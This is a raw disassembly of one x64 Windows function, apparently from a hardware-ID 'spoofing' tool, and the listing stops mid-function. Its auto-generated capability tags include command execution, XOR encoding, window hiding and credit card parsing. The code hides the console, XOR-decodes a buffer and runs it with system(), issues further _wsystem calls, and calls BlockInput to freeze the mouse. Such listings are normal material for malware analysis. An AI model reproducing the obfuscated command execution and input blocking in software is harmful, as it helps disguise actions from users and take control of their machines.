Function at 0x140006a70
Capabilities:
Authenticate hmac
Delete file
Encode data using xor
Execute command
Hide graphical window
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b10]
mov eax, 0x3c10
call fcn.1400888b0
sub rsp, rax
movaps xmmword [rsp + 0x3c00], xmm6
movaps xmmword [rsp + 0x3bf0], xmm7
movaps xmmword [rsp + 0x3be0], xmm8
mov rax, qword [0x1400ac0a0]
xor rax, rsp
mov qword [rbp + 0x3ad0], rax
lea rdx, str.e_38_2_0_167_209m
lea rcx, [rbp + 0x3a30]
call fcn.140002d40
nop
lea rcx, [rbp + 0x3050]
call fcn.1400231a0
mov rcx, rax
call fcn.1400230c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3a30]
call fcn.140005aa0
lea rcx, [rbp + 0x37e0]
call fcn.140023080
mov rcx, rax
call fcn.140022ea0
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140002d40
nop
lea rcx, [rsp + 0x30]
call fcn.140005aa0
nop
lea rcx, [rsp + 0x30]
call fcn.140002c50
lea rdx, [0x14009b9c4]
lea rcx, [rsp + 0x30]
call fcn.140002d40
nop
lea rcx, [rsp + 0x30]
call fcn.140005aa0
nop
lea rcx, [rsp + 0x30]
call fcn.140002c50
lea rcx, [rbp + 0x3810]
call fcn.140022d50
mov rcx, rax
call fcn.140022350
mov rdx, rax
lea rcx, [rbp + 0x1120]
call fcn.140002d40
nop
lea rcx, [rbp + 0x1120]
call fcn.140005aa0
nop
mov rdx, qword [rbp + 0x1138]
cmp rdx, 0x10
jb 0x140006bd7
inc rdx
mov rcx, qword [rbp + 0x1120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006bd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140087bdc
movdqa xmm0, xmmword [0x14009ec80]
movdqu xmmword [rbp + 0x1130], xmm0
mov byte [rbp + 0x1120], 0
lea rbx, [rbp + 0x3a30]
cmp qword [rbp + 0x3a48], 0x10
cmovae rbx, qword [rbp + 0x3a30]
lea rdi, [rbp + 0x3a30]
cmovae rdi, qword [rbp + 0x3a30]
add rdi, qword [rbp + 0x3a40]
cmp rbx, rdi
je 0x140006c52
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140006c20
lea rdx, [0x14009bab8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003350
lea rdx, [0x140003540]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14009b9e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, [rbp + 0x3a30]
cmp qword [rbp + 0x3a48], 0x10
cmovae rbx, qword [rbp + 0x3a30]
lea rcx, [rbp + 0x3a30]
cmovae rcx, qword [rbp + 0x3a30]
mov rdi, qword [rbp + 0x3a40]
add rdi, rcx
cmp rbx, rdi
je 0x140006d02
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140006cd0
xor eax, eax
mov qword [rbp + 0x20c0], rax
movdqa xmm0, xmmword [0x14009ee20]
movdqu xmmword [rbp + 0x20c8], xmm0
mov dword [rbp + 0x20d8], 0x5e
mov dword [rbp + 0x20dc], Ordinal_41
mov dword [rbp + 0x20e0], 0x75
lea rcx, [rbp + 0x20c0]
call fcn.140022160
mov rdx, rax
lea rcx, [rbp + 0x790]
call fcn.140002d40
nop
lea rbx, [rbp + 0x790]
cmp qword [rbp + 0x7a8], 0x10
cmovae rbx, qword [rbp + 0x790]
lea rcx, [rbp + 0x790]
cmovae rcx, qword [rbp + 0x790]
mov rdi, qword [rbp + 0x7a0]
add rdi, rcx
cmp rbx, rdi
je 0x140006dc2
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140006d90
lea rcx, [rbp + 0x790]
call fcn.140002c50
lea rdx, [0x14009b9c4]
lea rcx, [rsp + 0x30]
call fcn.140002d40
nop
lea rcx, [rsp + 0x30]
call fcn.140005aa0
nop
lea rcx, [rsp + 0x30]
call fcn.140002c50
lea rdx, str._If_you_cant_move_your_mouse_its_normal__wait_until_spoofing_is_done
lea rcx, [rbp + 0x38d0]
call fcn.140021d10
mov rcx, rax
call fcn.140021650
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140002d40
nop
lea rcx, [rsp + 0x30]
call fcn.140005aa0
nop
lea rcx, [rsp + 0x30]
call fcn.140002c50
lea rcx, [rbp + 0x3a30]
call fcn.140005aa0
lea rdx, [0x14009bab8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003350
lea rdx, [0x140003540]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x640
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14009b9e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r13, rax
lea rdx, [rbp + 0x3ab8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx r12d, word [rbp + 0x3ac0]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x3a68]
call fcn.140017920
lea rcx, [rbp + 0x3a68]
call fcn.140021610
nop
lea rcx, [rbp + 0x3060]
call fcn.140005b10
mov rbx, rax
lea rdx, [0x14009bb58]
lea rcx, [rbp + 0x2e90]
call fcn.140002d40
nop
lea rdx, [rbp + 0x2e90]
lea rcx, [rbp + 0x3a68]
call fcn.1400215f0
mov rcx, rax
mov rdx, rbx
call fcn.140002cb0
nop
lea rcx, [rbp + 0x2e90]
call fcn.140002c50
nop
lea rcx, [rbp + 0x3060]
call fcn.140002c50
lea rcx, [rbp + 0x3080]
call fcn.140005b10
mov rbx, rax
lea rdx, [0x14009bb5c]
lea rcx, [rbp + 0x2eb0]
call fcn.140002d40
nop
lea rdx, [rbp + 0x2eb0]
lea rcx, [rbp + 0x3a68]
call fcn.1400215f0
mov rcx, rax
mov rdx, rbx
call fcn.140002cb0
nop
lea rcx, [rbp + 0x2eb0]
call fcn.140002c50
nop
lea rcx, [rbp + 0x3080]
call fcn.140002c50
lea rcx, [rbp + 0x30a0]
call fcn.140005b10
mov rbx, rax
lea rdx, [0x14009bb60]
lea rcx, [rbp + 0x2ed0]
call fcn.140002d40
nop
lea rdx, [rbp + 0x2ed0]
lea rcx, [rbp + 0x3a68]
call fcn.1400215f0
mov rcx, rax
mov rdx, rbx
call fcn.140002cb0
nop
lea rcx, [rbp + 0x2ed0]
call fcn.140002c50
nop
lea rcx, [rbp + 0x30a0]
call fcn.140002c50
mov rbx, qword [rbp + 0x3a68]
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
jne 0x140007169
lea rdi, [rbx + 0x20]
xor eax, eax
mov qword [rbp + 0x2338], rax
movdqa xmm0, xmmword [0x14009f0e0]
movdqu xmmword [rbp + 0x2340], xmm0
mov dword [rbp + 0x2350], WSAStartup
mov dword [rbp + 0x2354], 6
mov dword [rbp + 0x2358], Ordinal_26
lea rcx, [rbp + 0x2338]
call fcn.140021410
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003350
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140007063
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140003680
mov r11, rax
xor eax, eax
mov qword [rbp + 0x2a90], rax
mov dword [rbp + 0x2a98], eax
mov word [rbp + 0x2a9c], ax
movdqa xmm0, xmmword [0x14009ee70]
movdqu xmmword [rbp + 0x2aa0], xmm0
movdqa xmm1, xmmword [0x14009ef20]
movdqu xmmword [rbp + 0x2ab0], xmm1
movdqa xmm0, xmmword [0x14009f150]
movdqu xmmword [rbp + 0x2ac0], xmm0
mov dword [rbp + 0x2ad0], reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0x2a90]
call fcn.1400210a0
add rdi, 0x20
mov rdx, rax
mov rcx, r11
call fcn.140003350
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x1400070eb
mov rdi, qword [rdi]
mov rdx, rdi
mov rcx, rax
call fcn.140003680
lea rdx, [0x140003540]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
je 0x140007138
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x140007133
nop word [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x140007133
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140007120
mov rbx, rax
jmp 0x14000715f
mov rbx, rax
mov rcx, qword [rax]
cmp byte [rcx + 0x19], 0
jne 0x14000715f
nop dword [rax]
nop dword [rax + rax]
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x140007150
cmp byte [rbx + 0x19], 0
je 0x140007000
movups xmm0, xmmword [0x14009c9c0]
movups xmmword [rbp + 0x29a0], xmm0
movups xmm0, xmmword [0x14009c9e0]
movups xmm1, xmmword [0x14009c9d0]
movups xmmword [rbp + 0x29c0], xmm0
movups xmmword [rbp + 0x29b0], xmm1
movups xmm0, xmmword [0x14009ca00]
movups xmm1, xmmword [0x14009c9f0]
movups xmmword [rbp + 0x29e0], xmm0
movups xmmword [rbp + 0x29d0], xmm1
movups xmm0, xmmword [0x14009ca20]
movups xmm1, xmmword [0x14009ca10]
movups xmmword [rbp + 0x2a00], xmm0
movups xmmword [rbp + 0x29f0], xmm1
movsd xmm0, qword [0x14009ca40]
movups xmm1, xmmword [0x14009ca30]
movsd qword [rbp + 0x2a20], xmm0
movups xmmword [rbp + 0x2a10], xmm1
mov eax, 4
lea ecx, [rax + 0x1b]
mov r15d, dword [reloc.WS2_32.dll_accept]
xor ebx, ebx
cmp r15d, 2
jl 0x140007341
movdqa xmm5, xmmword [0x14009eca0]
mov edx, ebx
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, eax
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, ecx
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x29a4]
mov r8d, dword [rsp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x140007241
jmp 0x140007383
lea r9, [rbp + 0x29a0]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x140007350
lea rcx, [rbp + 0x29a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3a50], xmm0
mov qword [rbp + 0x3a60], rax
lea rcx, [rbp + 0x3a50]
call fcn.140006080
nop
mov rsi, qword [rbp + 0x3a50]
mov r14, qword [rbp + 0x3a58]
cmp rsi, r14
je 0x1400077ce
lea rcx, [rbp + 0x3a98]
call fcn.1400061d0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbx
mov r8d, 2
cmp qword [rsi + 0x10], r8
cmovb r8, qword [rsi + 0x10]
mov rdx, rsi
cmp qword [rsi + 0x18], 8
jb 0x140007402
mov rdx, qword [rsi]
lea rcx, [rsp + 0x58]
call fcn.140024bd0
nop
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x18
jb 0x1400074c2
lea rax, [rcx + 0x18]
mov qword [rsp + 0x68], rax
lea rdi, [rsp + 0x58]
cmp rdx, 8
cmovae rdi, qword [rsp + 0x58]
lea r8, [rcx + rcx]
lea rax, [0x14009bb98]
cmp rax, rdi
jbe 0x14000746f
lea rax, [rdi + r8]
lea rcx, [0x14009bb68]
cmp rcx, rax
ja 0x14000746f
cmp rdi, rcx
jbe 0x140007474
mov rbx, rdi
sub rbx, rcx
sar rbx, 1
jmp 0x140007474
mov ebx, Ordinal_26
lea rcx, [rdi + 0x30]
add r8, 2
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
add rbx, rbx
mov r8, rbx
lea rdx, [0x14009bb68]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + rbx]
mov r8d, Ordinal_50
sub r8, rbx
lea rdx, [0x14009bb68]
add rdx, 0x30
add rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x58]
xor ebx, ebx
jmp 0x1400074da
mov qword [rsp + 0x28], Ordinal_26
mov edx, Ordinal_26
lea rcx, [rsp + 0x58]
call fcn.140026270
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov r8d, 1
lea rdx, [0x14009bb64]
lea rcx, [rbp + 0x70]
call fcn.140023980
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea rdx, [rbp + 0x3a98]
cmp qword [rbp + 0x3ab0], 8
cmovae rdx, qword [rbp + 0x3a98]
mov r8, qword [rbp + 0x3aa8]
lea rcx, [rbp + 0x90]
call fcn.140023980
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a78], xmm0
mov qword [rbp + 0x3a88], rbx
mov qword [rbp + 0x3a90], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3a78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3a88], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rdx, qword [rbp + 0xa8]
cmp rdx, 8
jb 0x14000760e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007609
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400077b9
call fcn.140087bdc
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], 7
mov word [rbp + 0x90], bx
mov rdx, qword [rbp + 0x88]
cmp rdx, 8
jb 0x14000766a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007665
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400077c0
call fcn.140087bdc
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], 7
mov word [rbp + 0x70], bx
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x1400076c2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400076bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400077c7
call fcn.140087bdc
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], bx
lea rcx, [rbp + 0x3a78]
cmp qword [rbp + 0x3a90], 8
cmovae rcx, qword [rbp + 0x3a78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov rdx, qword [rbp + 0x3a90]
cmp rdx, 8
jb 0x140007738
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3a78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007733
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400077c7
call fcn.140087bdc
mov qword [rbp + 0x3a88], rbx
mov qword [rbp + 0x3a90], 7
mov word [rbp + 0x3a78], bx
mov rdx, qword [rbp + 0x3ab0]
cmp rdx, 8
jb 0x140007797
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3a98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007792
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012e31
call fcn.140087bdc
mov qword [rbp + 0x3aa8], rbx
mov qword [rbp + 0x3ab0], 7
mov word [rbp + 0x3a98], bx
add rsi, 0x20
jmp 0x1400073be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rbx, [rbp + 0x3a30]
cmp qword [rbp + 0x3a48], 0x10
cmovae rbx, qword [rbp + 0x3a30]
lea rcx, [rbp + 0x3a30]
cmovae rcx, qword [rbp + 0x3a30]
mov rdi, qword [rbp + 0x3a40]
add rdi, rcx
cmp rbx, rdi
je 0x140007862
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140007830
xor eax, eax
mov qword [rbp + 0x2180], rax
movdqa xmm0, xmmword [0x14009ee00]
movdqu xmmword [rbp + 0x2188], xmm0
mov dword [rbp + 0x2198], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0x219c], Ordinal_79
mov dword [rbp + 0x21a0], Ordinal_60
lea rcx, [rbp + 0x2180]
call fcn.140020ea0
mov rdx, rax
lea rcx, [rbp + 0x1c8]
call fcn.140002d40
nop
lea rbx, [rbp + 0x1c8]
mov r8, qword [rbp + 0x1c8]
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0x10
cmovae rbx, r8
lea rcx, [rbp + 0x1c8]
cmovae rcx, r8
mov rdi, qword [rbp + 0x1d8]
add rdi, rcx
cmp rbx, rdi
je 0x140007930
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x1400078f0
mov rdx, qword [rbp + 0x1e0]
mov r8, qword [rbp + 0x1c8]
cmp rdx, 0x10
jb 0x140007966
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x14000795e
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012e31
mov rcx, r8
call fcn.140087bdc
movdqa xmm0, xmmword [0x14009ec80]
movdqu xmmword [rbp + 0x1d8], xmm0
mov byte [rbp + 0x1c8], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov r14d, 4
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov dword [rbp + 0x30], 0x6d305b1b
mov byte [rbp + 0x34], 0
lea rbx, [rbp + 0x30]
lea rdi, [rbp + 0x34]
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x1400079b0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140007a1d
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012e31
call fcn.140087bdc
xor esi, esi
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], sil
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2c90], xmm0
movups xmmword [rbp + 0x2ca0], xmm0
mov dword [rbp + 0x2cb0], eax
mov word [rbp + 0x2cb4], ax
mov dword [rbp + 0x2cb8], 0x44
mov dword [rbp + 0x2cbc], reloc.WLDAP32.dll_Ordinal_33
movdqa xmm0, xmmword [0x14009ecf0]
movdqu xmmword [rbp + 0x2cc0], xmm0
movdqa xmm1, xmmword [0x14009ef40]
movdqu xmmword [rbp + 0x2cd0], xmm1
movdqa xmm0, xmmword [0x14009f110]
movdqu xmmword [rbp + 0x2ce0], xmm0
movdqa xmm1, xmmword [0x14009eda0]
movdqu xmmword [rbp + 0x2cf0], xmm1
movdqa xmm0, xmmword [0x14009ef30]
movdqu xmmword [rbp + 0x2d00], xmm0
movdqa xmm1, xmmword [0x14009eec0]
movdqu xmmword [rbp + 0x2d10], xmm1
movdqa xmm0, xmmword [0x14009f0f0]
movdqu xmmword [rbp + 0x2d20], xmm0
movdqa xmm1, xmmword [0x14009eed0]
movdqu xmmword [rbp + 0x2d30], xmm1
mov dword [rbp + 0x2d40], WSAGetLastError
mov dword [rbp + 0x2d44], reloc.WS2_32.dll_recvfrom
mov dword [rbp + 0x2d48], Ordinal_32
lea rcx, [rbp + 0x2c90]
call fcn.1400204f0
mov rdx, rax
lea rcx, [rbp + 0x208]
call fcn.140002d40
nop
lea rbx, [rbp + 0x208]
mov r8, qword [rbp + 0x208]
mov rdx, qword [rbp + 0x220]
cmp rdx, 0x10
cmovae rbx, r8
lea rdi, [rbp + 0x208]
cmovae rdi, r8
add rdi, qword [rbp + 0x218]
cmp rbx, rdi
je 0x140007b91
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140007b51
mov rdx, qword [rbp + 0x220]
mov r8, qword [rbp + 0x208]
cmp rdx, 0x10
jb 0x140007bc7
inc rdx
mov rax, r8
cmp rdx, 0x1000
